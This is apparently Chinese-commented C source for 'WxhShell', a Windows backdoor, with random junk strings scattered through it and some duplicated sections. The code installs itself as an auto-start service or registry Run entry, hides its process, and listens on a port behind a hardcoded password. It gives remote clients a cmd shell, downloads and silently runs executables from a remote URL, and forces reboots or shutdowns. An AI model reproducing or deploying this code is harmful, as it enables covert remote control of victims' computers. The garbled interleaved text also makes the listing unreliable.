4 int StartFromService(void) E/% F0\B { )i-`AJK-'v typedef struct (a,`Y. { f .h$jyp( DWORD ExitStatus; RzB64 DWORD PebBaseAddress; rhQO#_` DWORD AffinityMask; u7p:6W DWORD BasePriority; z%6egi> ULONG UniqueProcessId; hL;??h,!_ ULONG InheritedFromUniqueProcessId; lm'.G99{ } PROCESS_BASIC_INFORMATION; <dk9n}y<, M9yqJPS}B PROCNTQSIP NtQueryInformationProcess; )gR3S%Ju a ?wg~|g static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,*p(q/kJh~ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; DEv,!8 KA`)dMWL HANDLE hProcess; D{t0OvQag PROCESS_BASIC_INFORMATION pbi; 5kv]k? r7)iNTQ1 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J2`OJsMwWe if(NULL == hInst ) return 0; ,6U=F#z 8wS9%+ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t6+>Zr g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LGCeYXic NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); twTRw:.!f ~#zb if (!NtQueryInformationProcess) return 0; N4_V ^A;ec
h7I hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _..5G7%#% if(!hProcess) return 0; abV,]x&.0 sy9Yd PPE if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yD ur9Qd6 o\yqf:V8 CloseHandle(hProcess); (b1rd &-Z#+>=H( hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9**u\H)P6 if(hProcess==NULL) return 0;
ZW8;?#_ tbi(e49S HMODULE hMod; .rbKvd?-} char procName[255]; AzBpQb* unsigned long cbNeeded; O /4)aW3B L2y{\<JC" if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :20k6 ) =}4lx^`oeT CloseHandle(hProcess); M7IQJFra `?Xt ,
if(strstr(procName,"services")) return 1; // 以服务启动 %O&C\{J v&ZI<Xt+ return 0; // 注册表启动 L`Q9-#Y } |=}v^o ZC }=."X8zOI8 // 主模块 }\\6"90g* int StartWxhshell(LPSTR lpCmdLine) vR\[I V? { JYWc3o6 SOCKET wsl; FUTDR-q O BOOL val=TRUE; / k8;k56 int port=0; I*)eP|| struct sockaddr_in door; mkmVDRK t]%!vXo if(wscfg.ws_autoins) Install(); *C?x\.\C ud.Bzg:/ port=atoi(lpCmdLine); 6Bm2_B 3/hAxd if(port<=0) port=wscfg.ws_port; gb0ZGnI C(*)7|
m WSADATA data; cM'5m if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *Cgd?*\7 { e% if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; !bCLi>8 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %z0@4Gq door.sin_family = AF_INET; $pGk%8l% door.sin_addr.s_addr = inet_addr("127.0.0.1"); R OQIw door.sin_port = htons(port); 9qQFIw~S Rx=pk if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { oYN# T=Xi
closesocket(wsl); w8g36v*+(u return 1; D r $N{d } K\ \UF d|sI>6jD if(listen(wsl,2) == INVALID_SOCKET) { %rRpUrnm closesocket(wsl); w,.Hdd6 return 1; @*O(dw } ~1h-LbFI2 Wxhshell(wsl); t(MlZ>H WSACleanup(); .ODtduURe K~WwV8c9; return 0; |E]YP~h <`9:hPp0 } HF\L`dJX? /aJl0GL4! // 以NT服务方式启动 qwaw\vOA VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yK&)H+v { EX&y
! DWORD status = 0; Ck.GN<#-^P DWORD specificError = 0xfffffff; O'-lBf+< }%R6Su]y serviceStatus.dwServiceType = SERVICE_WIN32; xI~\15PhG serviceStatus.dwCurrentState = SERVICE_START_PENDING; {hRAR8 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1^zF/$% serviceStatus.dwWin32ExitCode = 0; +V8yv-/{ serviceStatus.dwServiceSpecificExitCode = 0; ;|/7o@$n serviceStatus.dwCheckPoint = 0; j4}aK2[< serviceStatus.dwWaitHint = 0; a4: PufS "rjJ"u1 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,_lwT}*w if (hServiceStatusHandle==0) return; :({lXGc}4? 4'rk3nT8 status = GetLastError(); L6A6|+H%E if (status!=NO_ERROR) ?0;b}Xl-
{ `g :<$3} serviceStatus.dwCurrentState = SERVICE_STOPPED; IB*%PMTF serviceStatus.dwCheckPoint = 0; {2:H`|x serviceStatus.dwWaitHint = 0; #t(?8!F serviceStatus.dwWin32ExitCode = status; IW BVfN->} serviceStatus.dwServiceSpecificExitCode = specificError; WD?V1:>+ SetServiceStatus(hServiceStatusHandle, &serviceStatus); kkOYC?zE? return; P7y[9|^ } !s)$_tG 3P\I;xM serviceStatus.dwCurrentState = SERVICE_RUNNING; \AK|~:\] serviceStatus.dwCheckPoint = 0; 9wb$_j]F`# serviceStatus.dwWaitHint = 0; !J6s^um if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )v-* Wr eS } -owfuS?i= tt[_+e\4 // 处理NT服务事件,比如:启动、停止 ~IWi@m{ VOID WINAPI NTServiceHandler(DWORD fdwControl) /w!' [ { *r%mqAx( switch(fdwControl) <zDe;& { +`4}bc,G case SERVICE_CONTROL_STOP: r?+u}uH serviceStatus.dwWin32ExitCode = 0; J/=A f
[ serviceStatus.dwCurrentState = SERVICE_STOPPED; 7kwG_0QO serviceStatus.dwCheckPoint = 0; R{rV1j#@!a serviceStatus.dwWaitHint = 0; vaxg^n|v9 { %!$-N!e SetServiceStatus(hServiceStatusHandle, &serviceStatus); \S@A
/t6pa } Cg|uHI* return; %5KR}NXX6 case SERVICE_CONTROL_PAUSE: 7lj-Z~1 serviceStatus.dwCurrentState = SERVICE_PAUSED; dDuA%V0 break; f:Ja case SERVICE_CONTROL_CONTINUE: /g9{zR [ serviceStatus.dwCurrentState = SERVICE_RUNNING; &Egn`QU break; 0* "j:V case SERVICE_CONTROL_INTERROGATE: Kk(ucO break; R`?^%1^N }; s*X\%!l9 SetServiceStatus(hServiceStatusHandle, &serviceStatus); %i
" } JS:lysu +UsR // 标准应用程序主函数 U`Ag|R int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2~U+PyeNz { 0EB'! R
_Y&Y- // 获取操作系统版本 *u>\&`h= OsIsNt=GetOsVer(); H44&u](8{ GetModuleFileName(NULL,ExeFile,MAX_PATH); iHn]yv3
#
.:raeDrd // 从命令行安装 !U!E_D.O if(strpbrk(lpCmdLine,"iI")) Install(); DnFl*T> ;X6y.1N~ // 下载执行文件 H7=z%Y9y if(wscfg.ws_downexe) { o5@ jMU; if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 11T\2&Q WinExec(wscfg.ws_filenam,SW_HIDE);
*4:/<wI! } 4w6K|v<X ~
7Nyi dV; if(!OsIsNt) { PPO<{ // 如果时win9x,隐藏进程并且设置为注册表启动 b
. j^US^ HideProc(); ko>_@]Jb StartWxhshell(lpCmdLine); jq)|7_N
} Umt ia~x=& else `VE&Obp[ if(StartFromService()) hNo>)$v!s // 以服务方式启动 4Z<l>! StartServiceCtrlDispatcher(DispatchTable); +|<b0Xd else PI \,`^)y // 普通方式启动 ,O)\,tg StartWxhshell(lpCmdLine); )YtL=w?L' J-<B*ot+lX return 0; vaOL6=[#:g } \87J~K' Ux
T[ =hOa
0X= 7 aD&\? =========================================== 3F} KrG 2rtP.*dd <&%1pZ/6. ydqmuZ%2h# ~+ wamX3 k1U8wdoT " XW Q0V 1 "7#|=1/ #include <stdio.h> ?67I|@^ #include <string.h> ^[[b$h$ #include <windows.h> Q9xx/tUW #include <winsock2.h> {ah~q}(P #include <winsvc.h> #*$@_ #include <urlmon.h> &N_c-@2O +Z<Q^5w@ #pragma comment (lib, "Ws2_32.lib") 3e6Y #pragma comment (lib, "urlmon.lib") <4e*3WSG wy-
C~b'Qd #define MAX_USER 100 // 最大客户端连接数 "5JNXo,H #define BUF_SOCK 200 // sock buffer zHOE.V2Qo #define KEY_BUFF 255 // 输入 buffer ;Fem<p)V n_n|^4w #define REBOOT 0 // 重启 YQ@6innT #define SHUTDOWN 1 // 关机 r82o[+$u0K lJzy)ne #define DEF_PORT 5000 // 监听端口 _d| 62VS "SU-^z #define REG_LEN 16 // 注册表键长度 H'GYJ ?U" #define SVC_LEN 80 // NT服务名长度 <h_P+ nz {I-a;XBX // 从dll定义API :-\ yy typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #H6g&)Z_ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "x|NG,<[9 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); bxdXZBn typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7Fi2^DlgX i`KZ, // wxhshell配置信息 s9rtXBJP struct WSCFG { aR)en{W int ws_port; // 监听端口 ^'[@M'`~L char ws_passstr[REG_LEN]; // 口令 4iv]N 4 int ws_autoins; // 安装标记, 1=yes 0=no Hg9.<|+yo char ws_regname[REG_LEN]; // 注册表键名 [+l char ws_svcname[REG_LEN]; // 服务名 OOBcJC char ws_svcdisp[SVC_LEN]; // 服务显示名 J/x@$' char ws_svcdesc[SVC_LEN]; // 服务描述信息 !-5S8b char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9S1Ti6A int ws_downexe; // 下载执行标记, 1=yes 0=no 80$0zbw$ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _+*/~E char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %7]XW 2u zd9]qo }; M[K0t>ih fNqmTRu // default Wxhshell configuration .'S^&M/$ struct WSCFG wscfg={DEF_PORT, !FB \h<6 "xuhuanlingzhe", 9PKoNd^e 1, v:"m "Wxhshell", d=?Mj] "Wxhshell", J`r,_)J"2 "WxhShell Service", kPO6gdwq$ "Wrsky Windows CmdShell Service", ^S#\O>GHP "Please Input Your Password: ", 7V} ]C>G 1, CzSZ>E$%U "http://www.wrsky.com/wxhshell.exe", jJUGZVM6) "Wxhshell.exe" 7!r#(>I6?1 }; rv}mD v]:+`dV // 消息定义模块 *qPdZ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \TbsoWX char *msg_ws_prompt="\n\r? for help\n\r#>"; BIV<ti$. char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zj>aaY char *msg_ws_ext="\n\rExit."; =naR{pI char *msg_ws_end="\n\rQuit."; I/On3"U% char *msg_ws_boot="\n\rReboot..."; eyT>wma0 char *msg_ws_poff="\n\rShutdown..."; Ufdl|smt1 char *msg_ws_down="\n\rSave to "; ^sifEgG *d veUa|Bx.(v char *msg_ws_err="\n\rErr!"; KdT[*- char *msg_ws_ok="\n\rOK!"; WR/o
@$/ (#6AKr9K char ExeFile[MAX_PATH]; q^a|wTC int nUser = 0; c~}={4M] HANDLE handles[MAX_USER]; 'qL5$ zG int OsIsNt; <nWKR, HDmx@E.@ SERVICE_STATUS serviceStatus; #bT8QbJ( SERVICE_STATUS_HANDLE hServiceStatusHandle; %MJL5 w66v\x~ // 函数声明 7qe7Fl3 int Install(void); S!;LF4VA int Uninstall(void); KD% TxK int DownloadFile(char *sURL, SOCKET wsh); p%q.*trUb9 int Boot(int flag); 8Q2]*%
void HideProc(void); A4G,}r *n int GetOsVer(void); X^}A*4j int Wxhshell(SOCKET wsl); Y1{B c<tC void TalkWithClient(void *cs); .'|mY$U~] int CmdShell(SOCKET sock); g(aZT#i i= int StartFromService(void); \dRzS@l int StartWxhshell(LPSTR lpCmdLine); bfgz1
`u ]3*P:$Rq VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w*50ZS;N VOID WINAPI NTServiceHandler( DWORD fdwControl ); A1^Ga5 B> <lMg\T?K // 数据结构和表定义 N.Dhu ~V SERVICE_TABLE_ENTRY DispatchTable[] = ''IoC j { o+nG3kRD {wscfg.ws_svcname, NTServiceMain}, wGvhB%8K {NULL, NULL} kt^yj"C> }; )QmGsU}? gQ37> // 自我安装 Z@3l%p6V int Install(void) Nbt GlSs8 { $5,~JYcb char svExeFile[MAX_PATH]; }g`Gh|C HKEY key; -G9|n#zCU strcpy(svExeFile,ExeFile); Y\xUT>(J7 eNRs&^ // 如果是win9x系统,修改注册表设为自启动 <I;5wv if(!OsIsNt) { Sk:2+inU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wW:7y>z) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "O*x' XhN RegCloseKey(key); 5IW8=$k~.) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c<wavvfUo RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V8hO8 RegCloseKey(key); B0d%c&N${ return 0; c'Z:9?#5 } H}Ucrv: } kneuV8+(5 } o#>a 5 else { fkjeR
B %,\=s.~1 // 如果是NT以上系统,安装为系统服务 m@jge)O&D SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )%mg(O8uL if (schSCManager!=0) dC.bt|#Oz { ~6`iY@) SC_HANDLE schService = CreateService ~i ,"87$[ ( prtK:eGe2 schSCManager, i?>tgmu. wscfg.ws_svcname, {$d <1y^ wscfg.ws_svcdisp, j8++R&1f] SERVICE_ALL_ACCESS, IA4N@ijRxh SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \'Ssn(s SERVICE_AUTO_START, ,:)`+v< SERVICE_ERROR_NORMAL, C!+I>J{4f svExeFile, jVO{$j NULL, eQUe
>* NULL, qnChM;) NULL, ${I*nh>= NULL, c6&Q^p|CF NULL OcmRZ ); kJ{+M] pW if (schService!=0) kGHQ`h { tF7hFL5f CloseServiceHandle(schService); !m;H@KR{ CloseServiceHandle(schSCManager); yVX8e I strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >Lft9e strcat(svExeFile,wscfg.ws_svcname); _,haD)1g~ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Kcy@$uF{2 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3Fs5RC~a RegCloseKey(key); 6*45Vf return 0;
=-"c*^$] } TP%+.#Fu } ) ;FS7R
CloseServiceHandle(schSCManager); E{E0Z9t7& } kV;fD$iW; } hI},~af Jrxz'9qRG return 1; g%nl!dgS } */^QH@ P P 43P]M2 // 自我卸载 &V7M}@ int Uninstall(void) ? *>]")[> { H/+B%2Zj HKEY key; *=AqM14 @ oGa^/:6L if(!OsIsNt) { :,B7-kBw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qIIJ4n RegDeleteValue(key,wscfg.ws_regname); IQZ#-)[T" RegCloseKey(key); ,<-G<${ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MUnEuhXTr RegDeleteValue(key,wscfg.ws_regname); t.p~\6Yi RegCloseKey(key); }%7NF* return 0; @$9'@") } +{<#(} } #@HF<'H}mu } a2IgC25 else { br-]fE.be u .f= te SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L){iA-k;Ec if (schSCManager!=0) R;,g1m|] { %yBB?cp+_ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^=>Tk$ _2 if (schService!=0) Ar*^;/ { S*o[ZA
if(DeleteService(schService)!=0) { h2ytS^ CloseServiceHandle(schService); Ym%xx!9 CloseServiceHandle(schSCManager); o1M$.* return 0; *na?n2Yzt } !?c|XdjZ CloseServiceHandle(schService); 4=<tWa|@9 } [8tL"G6s CloseServiceHandle(schSCManager); hGpv2>M }
nt*Hc1I } M5gWD==uP p
w8 s8? return 1; .o) `m9/ } QQWadVQo :oJ=iB'Zc // 从指定url下载文件 M#(+c_(r int DownloadFile(char *sURL, SOCKET wsh) 0c} }Q { ^#-nE7 HRESULT hr; 0$,SF3K char seps[]= "/"; s"t$0cH9 char *token; t+9][Adf char *file; |PC*=ykT3 char myURL[MAX_PATH]; (Jz1vEEV char myFILE[MAX_PATH]; Y "/]|'p >0"+4<72 strcpy(myURL,sURL); rqY`8Ry2M token=strtok(myURL,seps); #Y$hNQQ$F while(token!=NULL) \otWd { B)0i:"q file=token; A!h`]%0B token=strtok(NULL,seps); EOCN&_Z; } +0OLc2
)w _H5o'>= GetCurrentDirectory(MAX_PATH,myFILE); Q)IKOt;N] strcat(myFILE, "\\"); cXKjrL[b strcat(myFILE, file); u:=7l send(wsh,myFILE,strlen(myFILE),0); ZjF 4v send(wsh,"...",3,0); #3gp6*R hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ME*LHr, if(hr==S_OK) , GP?amh return 0; NxsBX:XDn else <i&_ooX return 1; [5SD_dN S[J}UpV } hpD!2 K3> .=s&EEF // 系统电源模块 T( U_ int Boot(int flag) 5fd]v< { =,6z4" ) HANDLE hToken; ^G}47( TOKEN_PRIVILEGES tkp; @X#F3; QC}CRkp if(OsIsNt) { ,Ge"anO OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {#@W)4)cA LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); klT@cO-9 tkp.PrivilegeCount = 1; jK& h~) tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; CTq&-l:f AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); z`f($t[ if(flag==REBOOT) { {#?N if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) PgF*
1 return 0; -z)n?(pftm } s@K4u^$A else { svcK?^
HTe if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }HFN3cq;C return 0; \Je0CD=e` } K8GP@yD]M } .6+Z^,3 else { 7QiIiWqIWC if(flag==REBOOT) { :VRNs if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !Prg_6
` return 0; eD?tLj } $P^q!H4D else { Vc\MV0lr if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) cPyE 6\lN return 0; {?}E^5Z*g } %)zodf } Hq:X{)" 6t[+pL\b return 1; [+T.at } cQCSe,$ W *\+\5pu0 // win9x进程隐藏模块 .,<1%-R34q void HideProc(void) &^ 1$^= { $p#Bi-& {6|38$Rl HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i[7\[ if ( hKernel != NULL ) U)fc*s { !/'t5~x[ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
4":KoS`,j ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); SYAyk FreeLibrary(hKernel); ##,a0s^ } [M]
,>bh$| return;
_C%3h5 } 1gL2ia u%&`}g // 获取操作系统版本 ^S4d:-.3 int GetOsVer(void) tU }h~&M { l+xX/A) OSVERSIONINFO winfo; "h{q#~s winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >c1qpk/ GetVersionEx(&winfo); EU2$f if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }NHaCG[, return 1; xK *b1CB else T,,WoPU8t return 0; q( } \pa"%c) L*Tj^q!t+ // 客户端句柄模块 =Gpylj7?~ int Wxhshell(SOCKET wsl) 8bTn^!1 { =_.l8IYX$% SOCKET wsh; 6dq(T_eG struct sockaddr_in client; faEt6 DWORD myID; >!eAM ) 0IsPIi"7 while(nUser<MAX_USER) K0u|U` { / C:Y94B-z int nSize=sizeof(client); G)EU_UE9 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3]5^r} if(wsh==INVALID_SOCKET) return 1;
R5N%e%[ VACQ+ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .p<:II:6 if(handles[nUser]==0) Kf bb)? closesocket(wsh); %|s; C else [`ebM,W nUser++; }s7$7 } &Qf/>@ l} WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y_*
!6Xr Eq% } return 0; /K+r?
]kf } AFq~QXmr) QE^$=\l0 // 关闭 socket D>`xzt '.6 void CloseIt(SOCKET wsh) 7BE>RE=) { @CpfP;*{w` closesocket(wsh); !O\82d1P nUser--; ..IfP@ ExitThread(0); _~'=C#XI) } aZH:#lUlj w;%.2VJ // 客户端请求句柄 /
kF) void TalkWithClient(void *cs) 6/f7< { T`9lV2x*P 'F/~o1\. SOCKET wsh=(SOCKET)cs; :N:yLd} & char pwd[SVC_LEN]; EuEZ D+ char cmd[KEY_BUFF]; Z_LFIz*c char chr[1]; NpE*fR') int i,j; ~Q Oe## 3(="YbZ while (nUser < MAX_USER) { Jf{*PgP us1Hu) if(wscfg.ws_passstr) { uu-PJTNZ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *^\Ef4Lh //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DF&(8NoX~ //ZeroMemory(pwd,KEY_BUFF); 2bv=N4ly i=0; OTvPU kp* while(i<SVC_LEN) { XPavReGf ~IY% // 设置超时 G'nmllB`] fd_set FdRead; ]tim,7s struct timeval TimeOut; WQx?[tW(U FD_ZERO(&FdRead); g!FuY/%+ FD_SET(wsh,&FdRead); $By<$ TimeOut.tv_sec=8; sZ3KT& TimeOut.tv_usec=0; E:,/!9n int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); B |5]Jm] if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]V[q(-Jk a1g,@0s if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5 )A1\ pwd=chr[0]; jrCfWa}z if(chr[0]==0xd || chr[0]==0xa) { V )3KS- pwd=0; c_dVWh e break; %h hfU6[ } MOQ6: i++; U2ohHJ`` } C+*d8_L $r^GE // 如果是非法用户,关闭 socket TCMCK_SQL if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1;JEc9#h } 3BzNi' `oAW7q)~ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zU,9T send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ij 79~pn # ncRb while(1) { kT|dUw9G ;RH;OE,A ZeroMemory(cmd,KEY_BUFF);
&U{#Kt5q R$EW4]j // 自动支持客户端 telnet标准 2kqu p)82e j=0; _aq8@E~ while(j<KEY_BUFF) { hMa]B*o/- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); seba9y cmd[j]=chr[0]; $&Gu)4'+ if(chr[0]==0xa || chr[0]==0xd) { n"$jG:AQJ cmd[j]=0; *}Xf!"I#]N break; 3D6RLu } QfmJn(( j++; We)xB } )i6mzzj5 f@6QvkIa // 下载文件 c& <Fr[AK if(strstr(cmd,"http://")) { Yh7rU?Gj send(wsh,msg_ws_down,strlen(msg_ws_down),0); C:GK,?!Jn' if(DownloadFile(cmd,wsh)) nz%DM<0$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qo>b*Ku; else zlyS}x@p send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K:J3Z5" } RXNn[A4xfY else { #OZ>V3k CMe
06^U switch(cmd[0]) { }#3V+X '|ad_M // 帮助 I) rCd/ case '?': { i|c'Lbre` send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .GbX]?dN break; }pDqe;a{ } 'Jiw@t<o3` // 安装 0*VWzH
case 'i': { }I2wjO if(Install()) PYiU_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3s5z
UT; else rUwZMli send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [v7F1@6b break; c>,KZ! } B{/R: Hm // 卸载 WJ$bf(X* case 'r': { PvzcEV if(Uninstall()) @X%C>iYa9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); imo$-}A else vNVox0V send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |rY1US)S break; tI]Q%S, } u6?Q3
bvI // 显示 wxhshell 所在路径 yZ
@"\Z! case 'p': { Ut*`:]la char svExeFile[MAX_PATH]; =FlDb
5t{ strcpy(svExeFile,"\n\r"); VdPtPq1 strcat(svExeFile,ExeFile); dFRsm0T send(wsh,svExeFile,strlen(svExeFile),0); rr+|Zt
Y break; VQ"hUX8 } s0\X ^ // 重启 %!]@J[*1 case 'b': { @V(*65b2 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j -0z5|*KE if(Boot(REBOOT)) M*y)6H k~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); t
4PK}>QW else { ^b/ Z)3 closesocket(wsh); |_LU~ 7./ ExitThread(0); G(Lzf( } |"?M 1*g break; 9l|@v=gw. } lun#^ J // 关机 ydFD!mO case 'd': { LE&RY[ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); RtGWG*v4] if(Boot(SHUTDOWN)) "/)#O~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;QWIsVz else { TBs|r# closesocket(wsh); B,<da1(a ExitThread(0); C.~,qmOP } 1cxrH+N break; rEv@YD
} *Y,x|F // 获取shell 48c1gUwoP case 's': { Fa?~0H/DL CmdShell(wsh); =V-A@_^!c closesocket(wsh);
05z,b]>l ExitThread(0); j`oy`78O break; YHkn2]^#A } K:!"+q // 退出 OPwtV9% case 'x': { q_TRq:&. send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L\Aq6q@c CloseIt(wsh); {K <iih break; w0ht } D'7SAFOM // 离开 ?sab*$wG case 'q': { Lilr0|U+ send(wsh,msg_ws_end,strlen(msg_ws_end),0); i8`Vv7LF closesocket(wsh); JF # #
[O WSACleanup(); C3*gn}[ exit(1); |L-]fjBbF break; ?h.wK } o4j[p3$ } g>Y|9Y } *#E
FsUw YwteZSbp6M // 提示信息 F=`AY^u0 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K!:azP,bZ } IzsphBI } q
]M+/sl @HQ`~C#Z' return; 9bP^`\K[N } :axRoRg a&tSj35*6 // shell模块句柄 +,2:g}5 int CmdShell(SOCKET sock) 9
TvV= { #OIcLEn% STARTUPINFO si; |rJ=Ksc ZeroMemory(&si,sizeof(si)); A9f)tqbc si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z9MdD>uwi si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6qRx0"qB PROCESS_INFORMATION ProcessInfo; %`OJ.:k char cmdline[]="cmd"; d`P7}*;` CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )0ea+ib return 0; eAXc:222 } |o{:ZmzM |K6REkzr // 自身启动模式 ko Z int StartFromService(void) s>0't { 3^R&:|, typedef struct }!;s.[y { \Kl+ 5%L DWORD ExitStatus; X *&[u7No DWORD PebBaseAddress; #bMuvaP~ DWORD AffinityMask; lLp^Gt^}w( DWORD BasePriority; QrfG^GID ULONG UniqueProcessId;
f#?fxUH~ ULONG InheritedFromUniqueProcessId; vWRju*Z& } PROCESS_BASIC_INFORMATION; ~V&aUDO>/ vg
D77 PROCNTQSIP NtQueryInformationProcess; FO!]P Qk\A
c static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6,d@p static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t"k*PA 7bk%mQk HANDLE hProcess; 29!q!g | PROCESS_BASIC_INFORMATION pbi; Gs9:6 @c<3b2 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c/zJv*}x? if(NULL == hInst ) return 0; L%Ow#.[C2 5#> 8MU?& g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _acE:H g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [* @5\NWR} NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c}y [[EX m\$\ 09 if (!NtQueryInformationProcess) return 0; jJuW-(/4[ D&}3$ 